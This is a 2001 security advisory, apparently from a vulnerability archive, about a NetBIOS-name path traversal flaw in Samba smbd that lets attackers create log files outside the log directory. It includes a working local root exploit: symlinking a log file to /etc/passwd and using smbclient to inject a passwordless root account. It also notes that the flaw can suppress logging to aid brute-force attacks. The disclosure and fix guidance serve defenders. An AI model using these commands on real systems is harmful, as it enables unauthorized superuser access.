smbd remote file creation vulnerability

Type securityvulns
Reporter Securityvulns
Modified 2001-06-25T00:00:00


Please hold with approving this one before Monday, if possible. This is a forced release.

Author: Michal Zalewski <>


Insufficient parameter validation and unsafe default configuration make numerous systems running samba SMB file sharing daemon vulnerable to remote attacks.

Vulnerable platforms:

Tested on smbd 2.0.7 shipped with RedHat Linux 7.0 and 7.1. Confirmed on 2.0.8.


Due to insufficient NetBIOS computer name validation in incoming SMB requests, in conjunction with default configuration found for example in RedHat Linux and derivates, samba daemon allows remote attackers to create SMB session log files (*.log) with highly attacker-dependent contents outside outside logs directory. This vulnerability itself can be used to perform DoS attacks, or, if combined with unprivileged local access, can be used to gain superuser privileges.

On vulnerable platforms, by default, each SMB session is logged to the file /var/log/samba/<netbios-name>.log. If the attacker is connecting from 'FOOBAR', logs would be put in /var/log/foobar.log. Unfortunately, NetBIOS name '../../../evil' would be accepted, as well, creating /evil.log file.

This vulnerability is exploitable if the following setting is present in smb.conf file:

log file = /var/log/samba/%m.log

...which is default on major Linux distributions, and probably few other platforms, as well. On some systems, configuration might be different:

log file = /usr/local/samba/var/log.%m

In the second case (e.g. FreeBSD), there is usually no way to exploit this vulnerability.

Additionally, as noticed by Mark Loveless, using specific NetBIOS names, like 'non/existing/dir', it is possible to avoid logging of error messages (e.g. authentication failures) at all, which might be very useful for performing brute-force attacks.

Note that any non-default configuration not using any prefix or suffix (log- or .log) in log filename would be vulnerable to instant remote compromise.


This is the scenario of local privilege escalation attack against RedHat 7.x installation:

$ ln -s /etc/passwd /tmp/x.log

$ smbclient //NIMUE/"`perl -e '{print "\ntoor::0:0::/:/bin/sh\n"}'`" \ -n ../../../tmp/x -N

...where 'NIMUE' stands for local host name (few error messages should be returned).

$ su toor #

Explaination of this attack is pretty trivial. Samba daemon tries to access logfile for host introducing itself as '../../../tmp/x'. This translates to open() on /var/log/samba/../../../tmp/x.log. Thus, /tmp/x.log is opened in O_APPEND mode, following previously created symlink to /etc/passwd.

Then, anonymous attempt to mount non-existing share named "\ntoor::0:0::/:/bin/sh\n" is logged in /tmp/x.log, or, if you prefer, in /etc/passwd. Error message looks this way:

[2001/06/22 14:53:03, 1] smbd/reply.c:reply_sesssetup_and_X(925) Rejecting user 'lcamtuf': authentication failed [2001/06/22 14:53:03, 0] smbd/service.c:make_connection(214) ../../../tmp/x ( couldn't find service toor::0:0::/:/bin/sh

The last line is, obviously, accepted by /bin/su or /bin/login.

Fix information:

As a temporary workaround, we suggest changing 'log file' setting, as described above. This vulnerability has been confirmed by the vendor, and is addressed there:

Removing '%m' at all would protect against attackers trying to avoid logging at all. Vendor was informed, fix will be publicly available soon.